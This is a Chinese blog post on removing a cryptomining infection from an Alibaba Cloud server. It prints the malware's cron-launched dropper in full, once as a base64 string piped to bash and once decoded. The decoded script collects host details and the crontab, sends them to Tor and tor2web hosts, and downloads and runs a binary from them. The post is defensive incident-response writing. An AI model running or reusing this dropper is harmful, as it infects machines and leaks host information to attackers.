阿里云服务器被挖矿病毒入侵处理

前言

最近个人阿里云轻量应用服务器cpu一直满负荷运行，原来是被挖矿病毒入侵了，这里记录一下和病毒斗智斗勇的过程。

杀掉进程

top查看进程id

杀死进程

kill -9 11353 杀死进程

清理定时任务

光杀死进程肯定是不够的，这种挖矿程序一般会通过修改系统定时任务，达到再次执行的目的

检查定时任务

执行crontab -e，看到定时任务里面有一个脚本

10 * * * * /root/.systemd-service.sh > /dev/null 2>&1 &

看下脚本内容cat /root/.systemd-service.sh

#!/bin/bash
exec &>/dev/null
echo bhajQKVmnmwXJTe4r3ZpAgfJzVxELCErQ/WVBdKALcIpzlP8lOUlY7Z8/eyGdDFC
echo YmhhalFLVm1ubXdYSlRlNHIzWnBBZ2ZKelZ4RUxDRXJRL1dWQmRLQUxjSXB6bFA4bE9VbFk3WjgvZXlHZERGQwpleGVjICY+L2Rldi9udWxsCmV4cG9ydCBQQVRIPSRQQVRIOiRIT01FOi9iaW46L3NiaW46L3Vzci9iaW46L3Vzci9zYmluOi91c3IvbG9jYWwvYmluOi91c3IvbG9jYWwvc2JpbgoKZD0kKGdyZXAgeDokKGlkIC11KTogL2V0Yy9wYXNzd2R8Y3V0IC1kOiAtZjYpCmM9JChlY2hvICJjdXJsIC00ZnNTTGtBLSAtbTIwMCIpCnQ9JChlY2hvICI1aXhoaWVlem96eHdudmlzb3BneG9iYTZzc2JzcnZkcHhlZHV4YjRqYzZ6eDdzNTZydWZyanphZCIpCgpzb2NreigpIHsKbj0oZG9oLmRlZmF1bHRyb3V0ZXMuZGUgZG5zLmhvc3R1eC5uZXQgdW5jZW5zb3JlZC5sdXgxLmRucy5uaXhuZXQueHl6IGRucy5ydWJ5ZmlzaC5jbiBkbnMudHduaWMudHcgZG9oLmNlbnRyYWxldS5waS1kbnMuY29tIGRvaC5kbnMuc2IgZG9oLWZpLmJsYWhkbnMuY29tIGZpLmRvaC5kbnMuc25vcHl0YS5vcmcgZG5zLmZsYXR1c2xpZmlyLmlzIGRvaC5saSBkbnMuZGlnaXRhbGUtZ2VzZWxsc2NoYWZ0LmNoKQpwPSQoZWNobyAiZG5zLXF1ZXJ5P25hbWU9cmVsYXkudG9yMnNvY2tzLmluIikKcz0kKCRjIGh0dHBzOi8vJHtuWyQoKFJBTkRPTSUxMCkpXX0vJHAgfCBncmVwIC1vRSAiXGIoWzAtOV17MSwzfVwuKXszfVswLTldezEsM31cYiIgfHRyICcgJyAnXG4nfGdyZXAgLUV2IFsuXTB8c29ydCAtdVJ8aGVhZCAtbiAxKQp9CgpmZXhlKCkgewpmb3IgaSBpbiAuICRIT01FIC91c3IvYmluICRkIC92YXIvdG1wIDtkbyBlY2hvIGV4aXQgPiAkaS9pICYmIGNobW9kICt4ICRpL2kgJiYgY2QgJGkgJiYgLi9pICYmIHJtIC1mIGkgJiYgYnJlYWs7ZG9uZQp9Cgp1KCkgewpzb2NregpmPS9pbnQuJCh1bmFtZSAtbSkKeD0uLyQoZGF0ZXxtZDVzdW18Y3V0IC1mMSAtZC0pCnI9JChjdXJsIC00ZnNTTGsgY2hlY2tpcC5hbWF6b25hd3MuY29tfHxjdXJsIC00ZnNTTGsgaXAuc2IpXyQod2hvYW1pKV8kKHVuYW1lIC1tKV8kKHVuYW1lIC1uKV8kKGlwIGF8Z3JlcCAnaW5ldCAnfGF3ayB7J3ByaW50ICQyJ318bWQ1c3VtfGF3ayB7J3ByaW50ICQxJ30pXyQoY3JvbnRhYiAtbHxiYXNlNjQgLXcwKQokYyAteCBzb2NrczVoOi8vJHM6OTA1MCAkdC5vbmlvbiRmIC1vJHggLWUkciB8fCAkYyAkMSRmIC1vJHggLWUkcgpjaG1vZCAreCAkeDskeDtybSAtZiAkeAp9Cgpmb3IgaCBpbiB0b3Iyd2ViLmluIHRvcjJ3ZWIuaXQgb25pb24uZm91bmRhdGlvbiBvbmlvbi5jb20uZGUgb25pb24uc2ggdG9yMndlYi5zdSAKZG8KaWYgISBscyAvcHJvYy8kKGhlYWQgLW4gMSAvdG1wLy5YMTEtdW5peC8wMSkvc3RhdHVzOyB0aGVuCmZleGU7dSAkdC4kaApscyAvcHJvYy8kKGhlYWQgLW4gMSAvdG1wLy5YMTEtdW5peC8wMSkvc3RhdHVzIHx8IChjZCAvdG1wO3UgJHQuJGgpCmxzIC9wcm9jLyQoaGVhZCAtbiAxIC90bXAvLlgxMS11bml4LzAxKS9zdGF0dXMgfHwgKGNkIC9kZXYvc2htO3UgJHQuJGgpCmVsc2UKYnJlYWsKZmkKZG9uZQo=|base64 -d|bash

用base64加密了，我们给解密一下

echo YmhhalFLVm1ubXdYSlRlNHIzWnBBZ2ZKelZ4RUxDRXJRL1dWQmRLQUxjSXB6bFA4bE9VbFk3WjgvZXlHZERGQwpleGVjICY+L2Rldi9udWxsCmV4cG9ydCBQQVRIPSRQQVRIOiRIT01FOi9iaW46L3NiaW46L3Vzci9iaW46L3Vzci9zYmluOi91c3IvbG9jYWwvYmluOi91c3IvbG9jYWwvc2JpbgoKZD0kKGdyZXAgeDokKGlkIC11KTogL2V0Yy9wYXNzd2R8Y3V0IC1kOiAtZjYpCmM9JChlY2hvICJjdXJsIC00ZnNTTGtBLSAtbTIwMCIpCnQ9JChlY2hvICI1aXhoaWVlem96eHdudmlzb3BneG9iYTZzc2JzcnZkcHhlZHV4YjRqYzZ6eDdzNTZydWZyanphZCIpCgpzb2NreigpIHsKbj0oZG9oLmRlZmF1bHRyb3V0ZXMuZGUgZG5zLmhvc3R1eC5uZXQgdW5jZW5zb3JlZC5sdXgxLmRucy5uaXhuZXQueHl6IGRucy5ydWJ5ZmlzaC5jbiBkbnMudHduaWMudHcgZG9oLmNlbnRyYWxldS5waS1kbnMuY29tIGRvaC5kbnMuc2IgZG9oLWZpLmJsYWhkbnMuY29tIGZpLmRvaC5kbnMuc25vcHl0YS5vcmcgZG5zLmZsYXR1c2xpZmlyLmlzIGRvaC5saSBkbnMuZGlnaXRhbGUtZ2VzZWxsc2NoYWZ0LmNoKQpwPSQoZWNobyAiZG5zLXF1ZXJ5P25hbWU9cmVsYXkudG9yMnNvY2tzLmluIikKcz0kKCRjIGh0dHBzOi8vJHtuWyQoKFJBTkRPTSUxMCkpXX0vJHAgfCBncmVwIC1vRSAiXGIoWzAtOV17MSwzfVwuKXszfVswLTldezEsM31cYiIgfHRyICcgJyAnXG4nfGdyZXAgLUV2IFsuXTB8c29ydCAtdVJ8aGVhZCAtbiAxKQp9CgpmZXhlKCkgewpmb3IgaSBpbiAuICRIT01FIC91c3IvYmluICRkIC92YXIvdG1wIDtkbyBlY2hvIGV4aXQgPiAkaS9pICYmIGNobW9kICt4ICRpL2kgJiYgY2QgJGkgJiYgLi9pICYmIHJtIC1mIGkgJiYgYnJlYWs7ZG9uZQp9Cgp1KCkgewpzb2NregpmPS9pbnQuJCh1bmFtZSAtbSkKeD0uLyQoZGF0ZXxtZDVzdW18Y3V0IC1mMSAtZC0pCnI9JChjdXJsIC00ZnNTTGsgY2hlY2tpcC5hbWF6b25hd3MuY29tfHxjdXJsIC00ZnNTTGsgaXAuc2IpXyQod2hvYW1pKV8kKHVuYW1lIC1tKV8kKHVuYW1lIC1uKV8kKGlwIGF8Z3JlcCAnaW5ldCAnfGF3ayB7J3ByaW50ICQyJ318bWQ1c3VtfGF3ayB7J3ByaW50ICQxJ30pXyQoY3JvbnRhYiAtbHxiYXNlNjQgLXcwKQokYyAteCBzb2NrczVoOi8vJHM6OTA1MCAkdC5vbmlvbiRmIC1vJHggLWUkciB8fCAkYyAkMSRmIC1vJHggLWUkcgpjaG1vZCAreCAkeDskeDtybSAtZiAkeAp9Cgpmb3IgaCBpbiB0b3Iyd2ViLmluIHRvcjJ3ZWIuaXQgb25pb24uZm91bmRhdGlvbiBvbmlvbi5jb20uZGUgb25pb24uc2ggdG9yMndlYi5zdSAKZG8KaWYgISBscyAvcHJvYy8kKGhlYWQgLW4gMSAvdG1wLy5YMTEtdW5peC8wMSkvc3RhdHVzOyB0aGVuCmZleGU7dSAkdC4kaApscyAvcHJvYy8kKGhlYWQgLW4gMSAvdG1wLy5YMTEtdW5peC8wMSkvc3RhdHVzIHx8IChjZCAvdG1wO3UgJHQuJGgpCmxzIC9wcm9jLyQoaGVhZCAtbiAxIC90bXAvLlgxMS11bml4LzAxKS9zdGF0dXMgfHwgKGNkIC9kZXYvc2htO3UgJHQuJGgpCmVsc2UKYnJlYWsKZmkKZG9uZQo=|base64 -d

得到脚本内容：

bhajQKVmnmwXJTe4r3ZpAgfJzVxELCErQ/WVBdKALcIpzlP8lOUlY7Z8/eyGdDFC
exec &>/dev/null
export PATH=$PATH:$HOME:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin

d=$(grep x:$(id -u): /etc/passwd|cut -d: -f6)
c=$(echo "curl -4fsSLkA- -m200")
t=$(echo "5ixhieezozxwnvisopgxoba6ssbsrvdpxeduxb4jc6zx7s56rufrjzad")

sockz() {
n=(doh.defaultroutes.de dns.hostux.net uncensored.lux1.dns.nixnet.xyz dns.rubyfish.cn dns.twnic.tw doh.centraleu.pi-dns.com doh.dns.sb doh-fi.blahdns.com fi.doh.dns.snopyta.org dns.flatuslifir.is doh.li dns.digitale-gesellschaft.ch)
p=$(echo "dns-query?name=relay.tor2socks.in")
s=$($c https://${n[$((RANDOM%10))]}/$p | grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" |tr ' ' '\n'|grep -Ev [.]0|sort -uR|head -n 1)
}

fexe() {
for i in . $HOME /usr/bin $d /var/tmp ;do echo exit > $i/i && chmod +x $i/i && cd $i && ./i && rm -f i && break;done
}

u() {
sockz
f=/int.$(uname -m)
x=./$(date|md5sum|cut -f1 -d-)
r=$(curl -4fsSLk checkip.amazonaws.com||curl -4fsSLk ip.sb)_$(whoami)_$(uname -m)_$(uname -n)_$(ip a|grep 'inet '|awk {'print $2'}|md5sum|awk {'print $1'})_$(crontab -l|base64 -w0)
$c -x socks5h://$s:9050 $t.onion$f -o$x -e$r || $c $1$f -o$x -e$r
chmod +x $x;$x;rm -f $x
}

for h in tor2web.in tor2web.it onion.foundation onion.com.de onion.sh tor2web.su 
do
if ! ls /proc/$(head -n 1 /tmp/.X11-unix/01)/status; then
fexe;u $t.$h
ls /proc/$(head -n 1 /tmp/.X11-unix/01)/status || (cd /tmp;u $t.$h)
ls /proc/$(head -n 1 /tmp/.X11-unix/01)/status || (cd /dev/shm;u $t.$h)
else
break
fi
done

看脚本内容，大体就是通过几个域名，去获取可执行程序，然后本机运行。将程序中的用到的域名在/etc/hosts中屏蔽

127.0.0.1 tor2web.in
127.0.0.1 tor2web.it
127.0.0.1 onion.foundation
127.0.0.1 onion.com.de
127.0.0.1 onion.sh
127.0.0.1 tor2web.su

删除执行脚本

rm -f /root/.systemd-service.sh

修改定时任务

crontab -e将定时任务屏蔽或 crontab -r直接删除

# 10 * * * * /root/.systemd-service.sh > /dev/null 2>&1 & 屏蔽或删除

如果定时任务没有用到直接停掉服务 service crontabd stop

修改ssh端口

如果以上处理仍然无效，可以考虑修改ssh端口号

修改服务器ssh端口

vim /etc/ssh/sshd_config 修改Port为自定义的端口重启ssh服务
service sshd restart

去阿里云控制台中放开端口

参考文章

云服务器tor2web病毒处理记录